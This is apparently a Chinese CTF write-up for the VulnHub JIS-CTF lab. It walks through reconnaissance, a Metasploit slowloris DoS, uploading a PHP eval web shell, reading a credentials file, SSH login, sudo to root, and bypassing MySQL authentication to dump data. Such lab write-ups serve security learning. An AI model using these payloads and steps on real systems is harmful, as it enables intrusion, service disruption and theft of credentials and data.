Vulnhub靶机渗透之环境搭建及JIS-CTF入门

2023-10-29

Vulnhub靶机渗透之环境搭建及JIS-CTF入门

目录

Vulnhub靶机渗透之环境搭建及JIS-CTF入门

一、JIS-CTF题目描述

二、Vulnhub环境配置

三、Vulnhub靶机渗透详解

1.信息收集

2.First flag

3.Second flag

4.Third flag

5.Fourth flag

6.Fifth flag

7.sudo提权管理员权限

8.无密码登录数据库

9.获取数据库数据

四.总结

一、JIS-CTF题目描述

靶场题目:JIS-CTF: VulnUpload

靶场地址:Vulnerable By Design ~ VulnHub

entry/jis-ctf-vulnupload,228/

难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时

靶场作者:Mohammad Khreesha

靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.

下载地址:

打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。

img

二、Vulnhub环境配置

第一步,下载资源

第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。

第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB

四步,点击开启虚拟机及配置过程 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。

进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。

回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。

第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件

接着输入命令查看网卡:

  • ifconfig -a

然后继续输入命令修改网络配置文件。

  • vi /etc/network/interfaces

    image-20230715103026175

最后输入reboot重启即可。

(方法二,进入系统界面,输入账号 technawi 口令 3vilH@ksor

然后启用网卡:sudo ifconfig ens33 up 分配IP:sudo dhclient)

三、Vulnhub靶机渗透详解

1.信息收集

首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。

第一步,扫描网卡名称

  • netdiscover -i

第二步,调用Nmap探测目标主机IP

  • nmap -sn 192.168.179.0/24

由于在同一个网段,所以和主机IP地址近似,扫描结果如下图所示,靶场IP为192.168.179.5

image-20230715120413179

第三步,调用Nmap探测靶机的开放端口信息

  • nmap -A 192.168.179.5

  • 22端口:SSH远程连接

  • 80端口:HTTP网站协议

第四步,用nmap进行漏洞扫描

  • nmap --script=vuln -p22,80 192.168.179.5

发现漏洞

下一步就是直接启动msf,终端输入:msfconsole

然后搜一下有啥可以用的模块:search slowloris;use一下:use auxiliary/dos/http/slowloris

run之后发现 http://192.168.179.5 打不开,说明漏洞利用成功

第五步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要

image-20230715122409292

第六步,调用whatweb查看环境

  • whatweb 192.168.179.5/login.php

image-20230715123629289

第七步,敏感文件分析

  • 登陆界面: 192.168.179.5/index.php 192.168.179.5/login.php

  • 系统信息:发现目录浏览漏洞,以及apache版本信息 192.168.179.5/assets/

  • robots.txt文件发现目录泄露,其中flag文件夹应该有问题 192.168.179.5/robots.txt

2.First flag

我们从敏感文件robots.txt中获取目录信息,发现一个敏感的关键词flag,输入目标地址:192.168.179.5/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。

The 1st flag is : {8734509128730458630012095}

image-20230715124254430

3.Second flag

在地址栏中输入网址,显示如下图所示:

image-20230715124651420

4.Third flag

登录分析

我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。

image-20230715124903218

上传一句话木马

第一步:登录之后是一个上传页面,我们尝试上传一句话木马。

木马内容:‘<?php@eval($_POST['code']);?>’

第二步:上传成功用蚁剑进行连接

保存后可看到后台整个页面,在/var/www/html/目录下,看到hint.txt和flag.txt文件。

在hint.txt中可看到第三个flag:The 3rd flag is : {7645110034526579012345670}

image-20230715185759443

第三步,gobuster目录扫描 注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。

 root@kali:~# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.179.5 -t 100 -x txt

image-20230715211147257

5.Fourth flag

刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?

第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。

  • find / -user ‘technawi’ 2>/dev/null

我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag

 cat /etc/mysql/conf.d/credentials.txt

image-20230715212652729

获取第四个Flag和technawi用户对应的密码。

  • The 4th flag is : {7845658974123568974185412}

  • username : technawi

  • password : 3vilH@ksor

6.Fifth flag

如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。

接着我们采用SSH连接,账号和密码为第4个flag获取的值。

  • username : technawi

  • password : 3vilH@ksor

  • ssh technawi@192.168.44.143

image-20230715220431675

找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。

  • cat /var/www/html/flag.txt

  • The 5th flag is : {5473215946785213456975249}

image-20230715222107012

7.sudo提权管理员权限

在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。

  • root权限可以直接使用sudo su -获得

8.无密码登录数据库

1、定位配置文件位置并打开进行编辑

image-20230715230547004

2、在文件内容 [mysqld] 下方添加“跳过密码登录”的代码skip-grant-tables ,保存后退出。

3、重启mysql

 root@Jordaninfosec-CTF01:/usr/lib/mysql# locate my.cnf
 /etc/alternatives/my.cnf
 /etc/mysql/my.cnf
 /etc/mysql/my.cnf.fallback
 /var/lib/dpkg/alternatives/my.cnf
 root@Jordaninfosec-CTF01:/usr/lib/mysql# cd /etc/mysql
 root@Jordaninfosec-CTF01:/etc/mysql# ls
 conf.d  debian.cnf  debian-start  my.cnf  my.cnf.fallback  mysql.cnf  mysql.conf.d
 root@Jordaninfosec-CTF01:/etc/mysql# vi my.cnf
 root@Jordaninfosec-CTF01:/etc/mysql# systemctl restart mysql

4、确认不需要密码可以登录 MySQL

 mysql -uroot

image-20230715230936040

9.获取数据库数据

查看数据表和user表:

image-20230715232554732

更新root密码为123456:

image-20230715232759539

mysqldump导出需要的数据库,完成mysql脱裤。

image-20230715232708960

所用命令

 mysql> use mysql;
 ​
 mysql> show databases;
 ​
 mysql> select host,user,authentication_string,plugin from user;
 ​
 mysql> update user set authentication_string=password("123456") where user="root";
 ​
 mysql> flush privileges;
 root@Jordaninfosec-CTF01:~# mysqldump -uroot -p sys > sys.sql
 Enter password: 
 root@Jordaninfosec-CTF01:~# ls
 sys.sql

四.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:

  • netdiscover 用于发现目标ip

  • nmap进行端口扫描

  • dirb进行目录扫描

  • 敏感文件获取及分析

  • php木马生成和蚁剑工具

  • ssh远程连接

  • sudo提权

  • 数据库脱裤

相关内容整理于网上,侵权删。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Vulnhub靶机渗透之环境搭建及JIS-CTF入门 的相关文章

随机推荐

  • Amazon Lightsail——兼具亚马逊云科技的强大功能与 VPS 的简易性

    对于开发者而言 当你想构建系统架构时 你的面前就出现了两种选择 选择一 花时间去亲手挑选每个亚马逊云科技组件 云服务器 存储 IP 地址等 然后自己组装起来 选择二是只需要一个预先配置且预先组装的系统 就可以运行自己的 Web 应用程序 而
  • java 企业工程管理系统软件源码 自主研发 工程行业适用

    工程项目管理软件 工程项目管理系统 对建设工程项目管理组织建设 项目策划决策 规划设计 施工建设到竣工交付 总结评估 运维运营 全过程 全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一 系统管理 1 数据字典 实现对数据字典标签
  • 我的漫长python之路

    1 为什么我用一个remove却删了两个数
  • 区间预测

    区间预测 MATLAB实现QRFR随机森林分位数回归多输入单输出区间预测 目录 区间预测 MATLAB实现QRFR随机森林分位数回归多输入单输出区间预测 效果一览 基本介绍 模型描述 程序设计 参考资料 效果一览 基本介绍 MATLAB实现
  • 什么是gradle

    目录 一 什么是Gradle 二 Gradle的基本组成 1 Project与Task 2 插件 3 Gradle配置文件 4 构建脚本 三 常见配置 1 依赖第三方库 2 导入本地jar包 3 依赖其它模块 4 构建输出为aar文件 5
  • day03 homework

    统计正数和负数的个数然后计算这些数的平均值 编写一个程序来读入不指定个数的整数 然后决定已经读取的整数中有多少个正数和多少个负数并计算这些输入值 不统计0 的总和 最终得出他们的平均值 这个程序以输入值0来结束 使用浮点数显示这个平均值 执
  • VC++公安指纹识别系统

    论文编号 VC 039 论文题目 公安指纹识别系统 开发语言 VC 包括内容 论文 可执行程序 源码 外文翻译 程序操作演示录像 数 据 库 无 论文字数 39000字以上
  • 多系统U盘启动盘的制作,成功启动win8PE,ubuntu,deepin2013,deepin2014,以及通过U盘启动电脑已装系统。

    以前的用U盘装系统都是用ultraISO 直接制作启动盘 有的时候一连着好几天都得捣鼓着装系统 今天是windows 明天是ubuntu 后天就可能是其它linux发行版了 很不方便 所以就想利用一个U盘做一个多系统的启动盘 经过N天不断的
  • 【python基础知识】6.布尔值和四种语句(break、continue、pass、else)

    文章目录 前言 用数据做判断 布尔值 两个数值做比较 直接用数值做运算 布尔值之间的运算 四种新的语句 break语句 continue语句 pass语句 else语句 循环小练习 前言 Hi 你来了 上一关我们学习了for循环和while
  • U盘安装系统----缺少所需的CD/DVD驱动器设备驱动程序

    用U盘启动盘安装系统 首先用软碟通制作启动盘 惠普电脑安装开机的时候 按F9 选择USB启动即可 如果不行的話 开机时按F2或者F10 进入高级设置 英文好像是advanced 选择first什么的 再选择带usb的那个选项即可然后按F10
  • 6-1 JAVA成绩比较 (10分) java pta

    本题要求实现Student类 该类实现Comparable接口 用于计算两个同学的JAVA成绩差 其中一个同学的数据已经输入 只需要从键盘输入第二个同学的信息 只有姓名和JAVA成绩两项 最终返回成绩差 裁判测试程序样例 在这里给出该类被调
  • 攻防世界(pwn)echo_back writeup

    checksec 保护全开 漏洞 利用要点 泄露关键信息 pie开启 gt 泄露elf base 泄露libc base 攻击scanf 修改 IO buf base扩大可输入字符串数 进一步修改 IO buf base与 IO buf e
  • Netty4框架的初步使用

    Netty4框架的初步使用 Netty4的基本概念网上有很多 这里就不多说 这仅仅只是一个小例子 功能模块分三部分 1 Handler 消息处理 2 Client 客户端 3 Server 服务端 结构目录 代码如下 公用的Handler
  • xss-labs/level10

    我们试试看输入以下代码 从界面上看确实只有一个输出点 但是不要被事物的表面所蒙蔽 我们的去更深层的源代码部分详究 从源代码层面上去看输出点 也只有一个输出点 不会吧 判断失误啦 应该不会 因为我从源代码看到了三个表单标签 而且还是设置隐藏属
  • 训练19 加权并查集

    做事情要有始有终 昨天下午暑期集训画上了句号 我整个人也就随着懈怠了下来 这篇题解是我最后的惯性了吧 之前拉下的题我是不打算继续写了 下一阶段依然是刷题 准备回洛谷去 白天学习正经东西 晚上研究副业 Virtual Friends A Bu
  • php全局变量作用域,thinkphp定义全局变量

    本文收集整理关于thinkphp定义全局变量的相关议题 使用内容导航快速到达 内容导航 Q1 thinkphp 视图模型中怎么用全局变量或者是点语法 先说下 关联模型 如你所说 关联模型和jion类似 实际上 thinkphp的关联模型 就
  • 遥感基础知识1

    1 地物波谱特征 在可见光 380 750nm 和近红外波段 850 880nm 地表物体自身的辐射几乎为0 地物发出的波谱主要以反射太阳辐射为主 太阳辐射达到地面后 物体除了反射作用外 还有对电磁辐射的吸收作用 到达地面的太阳辐射能量 反
  • AI写作可以写什么,分别有哪些工具

    1 开源CLUE AI社区 智能对话模型large v3 是目前最为先进的语言模型 可用于生成各种类型的文本 包括文章 自动回复邮件 自动生成代码等 2 Hugging Face Transformers 是一个面向NLP和AI的开源平台
  • 性价比排序

    链接 https ac nowcoder com acm contest 329 D 来源 牛客网 处女座靠着自己的家教本领赚够了去比赛的钱 于是开启了疯狂训练 在每个夜深人静第二天不收作业的夜晚 他都会开始刷题 今日又是一个刷题的夜晚 他
  • Vulnhub靶机渗透之环境搭建及JIS-CTF入门

    Vulnhub靶机渗透之环境搭建及JIS CTF入门 目录 Vulnhub靶机渗透之环境搭建及JIS CTF入门 一 JIS CTF题目描述 二 Vulnhub环境配置 三 Vulnhub靶机渗透详解 1 信息收集 2 First flag